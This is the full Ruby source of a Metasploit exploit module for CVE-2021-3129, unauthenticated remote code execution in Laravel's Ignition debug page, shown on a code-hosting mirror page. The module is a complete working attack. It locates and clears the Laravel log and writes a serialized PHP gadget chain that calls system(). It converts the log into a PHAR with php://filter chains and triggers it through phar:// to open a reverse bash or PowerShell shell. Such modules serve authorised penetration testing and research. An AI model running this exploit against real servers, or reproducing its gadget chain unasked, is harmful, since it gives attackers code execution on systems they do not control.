CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/php/ignition_laravel_debug_rce.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
prepend Msf::Exploit::Remote::AutoCheck
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Unauthenticated remote code execution in Ignition',
17
'Description' => %q{
18
Ignition before 2.5.2, as used in Laravel and other products,
19
allows unauthenticated remote attackers to execute arbitrary code
20
because of insecure usage of file_get_contents() and file_put_contents().
21
This is exploitable on sites using debug mode with Laravel before 8.4.2.
22
},
23
'Author' => [
24
'Heyder Andrade <eu[at]heyderandrade.org>', # module development and debugging
25
'ambionics' # discovered
26
],
27
'License' => MSF_LICENSE,
28
'References' => [
29
['CVE', '2021-3129'],
30
['URL', 'https://www.ambionics.io/blog/laravel-debug-rce']
31
],
32
'DisclosureDate' => '2021-01-13',
33
'Platform' => %w[unix linux macos win],
34
'Targets' => [
35
[
36
'Unix (In-Memory)',
37
{
38
'Platform' => 'unix',
39
'Arch' => ARCH_CMD,
40
'Type' => :unix_memory,
41
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
42
}
43
],
44
[
45
'Windows (In-Memory)',
46
{
47
'Platform' => 'win',
48
'Arch' => ARCH_CMD,
49
'Type' => :win_memory,
50
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }
51
}
52
]
53
],
54
'Privileged' => false,
55
'DefaultTarget' => 0,
56
'Notes' => {
57
'Stability' => [CRASH_SAFE],
58
'Reliability' => [REPEATABLE_SESSION],
59
'SideEffects' => [IOC_IN_LOGS]
60
}
61
)
62
)
63
register_options([
64
OptString.new('TARGETURI', [true, 'Ignition execute solution path', '/_ignition/execute-solution']),
65
OptString.new('LOGFILE', [false, 'Laravel log file absolute path'])
66
])
67
end
68
69
def check
70
print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")
71
res = send_request_cgi({
72
'uri' => normalize_uri(target_uri.path.to_s),
73
'method' => 'PUT'
74
})
75
# Check whether it is using facade/ignition
76
# If is using it should respond method not allowed
77
# checking if debug mode is enable
78
if res && res.code == 405 && res.body.match(/label:"(Debug)"/)
79
vprint_status 'Debug mode is enabled.'
80
# check version
81
versions = JSON.parse(
82
res.body.match(/.+"report":(\{.*),"exception_class/).captures.first.gsub(/$/, '}')
83
)
84
version = Rex::Version.new(versions['framework_version'])
85
vprint_status "Found PHP #{versions['language_version']} running Laravel #{version}"
86
# to be sure that it is vulnerable we could try to cleanup the log files (invalid and valid)
87
# but it is way more intrusive than just checking the version moreover we would need to call
88
# the find_log_file method before, meaning four requests more.
89
return Exploit::CheckCode::Appears if version <= Rex::Version.new('8.26.1')
90
end
91
return Exploit::CheckCode::Safe
92
end
93
94
def exploit
95
@logfile = datastore['LOGFILE'] || find_log_file
96
fail_with(Failure::BadConfig, 'Log file is required, however it was neither defined nor automatically detected.') unless @logfile
97
98
clear_log
99
put_payload
100
convert_to_phar
101
run_phar
102
103
handler
104
105
clear_log
106
end
107
108
def find_log_file
109
vprint_status 'Trying to detect log file'
110
res = post Rex::Text.rand_text_alpha_upper(12)
111
if res.code == 500 && res.body.match(%r{"file":"(\\/[^"]+?)/vendor\\/[^"]+?})
112
logpath = Regexp.last_match(1).gsub(/\\/, '')
113
vprint_status "Found directory candidate #{logpath}"
114
logfile = "#{logpath}/storage/logs/laravel.log"
115
vprint_status "Checking if #{logfile} exists"
116
res = post logfile
117
if res.code == 200
118
vprint_status "Found log file #{logfile}"
119
return logfile
120
end
121
vprint_error "Log file does not exist #{logfile}"
122
return
123
end
124
vprint_error 'Unable to automatically find the log file. To continue set LOGFILE manually'
125
return
126
end
127
128
def clear_log
129
res = post "php://filter/read=consumed/resource=#{@logfile}"
130
# guard clause when trying to exploit a target that is not vulnerable (set ForceExploit true)
131
fail_with(Failure::UnexpectedReply, "Log file #{@logfile} doesn't seem to exist.") unless res.code == 200
132
end
133
134
def put_payload
135
post format_payload
136
post Rex::Text.rand_text_alpha_upper(2)
137
end
138
139
def convert_to_phar
140
filters = %w[
141
convert.quoted-printable-decode
142
convert.iconv.utf-16le.utf-8
143
convert.base64-decode
144
].join('|')
145
146
post "php://filter/write=#{filters}/resource=#{@logfile}"
147
end
148
149
def run_phar
150
post "phar://#{@logfile}/#{Rex::Text.rand_text_alpha_lower(4..6)}.txt"
151
# resp.body.match(%r{^(.*)\n<!doctype html>})
152
# $1 ? print_good($1) : nil
153
end
154
155
def body_template(data)
156
{
157
solution: 'Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution',
158
parameters: {
159
viewFile: data,
160
variableName: Rex::Text.rand_text_alpha_lower(4..12)
161
}
162
}.to_json
163
end
164
165
def post(data)
166
send_request_cgi({
167
'uri' => normalize_uri(target_uri.path.to_s),
168
'method' => 'POST',
169
'data' => body_template(data),
170
'ctype' => 'application/json',
171
'headers' => {
172
'Accept' => '*/*',
173
'Accept-Encoding' => 'gzip, deflate'
174
}
175
})
176
end
177
178
def generate_phar(pop)
179
file = Rex::Text.rand_text_alpha_lower(8)
180
stub = "<?php __HALT_COMPILER(); ?>\r\n"
181
file_contents = Rex::Text.rand_text_alpha_lower(20)
182
file_crc32 = Zlib.crc32(file_contents) & 0xffffffff
183
manifest_len = 40 + pop.length + file.length
184
phar = stub
185
phar << [manifest_len].pack('V') # length of manifest in bytes
186
phar << [0x1].pack('V') # number of files in the phar
187
phar << [0x11].pack('v') # api version of the phar manifest
188
phar << [0x10000].pack('V') # global phar bitmapped flags
189
phar << [0x0].pack('V') # length of phar alias
190
phar << [pop.length].pack('V') # length of phar metadata
191
phar << pop # pop chain
192
phar << [file.length].pack('V') # length of filename in the archive
193
phar << file # filename
194
phar << [file_contents.length].pack('V') # length of the uncompressed file contents
195
phar << [0x0].pack('V') # unix timestamp of file set to Jan 01 1970.
196
phar << [file_contents.length].pack('V') # length of the compressed file contents
197
phar << [file_crc32].pack('V') # crc32 checksum of un-compressed file contents
198
phar << [0x1b6].pack('V') # bit-mapped file-specific flags
199
phar << [0x0].pack('V') # serialized File Meta-data length
200
phar << file_contents # serialized File Meta-data
201
phar << [Rex::Text.sha1(phar)].pack('H*') # signature
202
phar << [0x2].pack('V') # signiture type
203
phar << 'GBMB' # signature presence
204
205
return phar
206
end
207
208
def format_payload
209
# rubocop:disable Style/StringLiterals
210
serialize = "a:2:{i:7;O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\""
211
serialize << ":1:{S:41:\"\\00GuzzleHttp\\5cCookie\\5cFileCookieJar\\00filename\";"
212
serialize << "O:38:\"Illuminate\\Validation\\Rules\\RequiredIf\""
213
serialize << ":1:{S:9:\"condition\";a:2:{i:0;O:20:\"PhpOption\\LazyOption\""
214
serialize << ":2:{S:30:\"\\00PhpOption\\5cLazyOption\\00callback\";"
215
serialize << "S:6:\"system\";S:31:\"\\00PhpOption\\5cLazyOption\\00arguments\";"
216
serialize << "a:1:{i:0;S:#{payload.encoded.length}:\"#{payload.encoded}\";}}i:1;S:3:\"get\";}}}i:7;i:7;}"
217
# rubocop:enable Style/StringLiterals
218
phar = generate_phar(serialize)
219
220
b64_gadget = Base64.strict_encode64(phar).gsub('=', '')
221
payload_data = b64_gadget.each_char.collect { |c| c + '=00' }.join
222
223
return Rex::Text.rand_text_alpha_upper(100) + payload_data + '=00'
224
end
225
226
end
227
228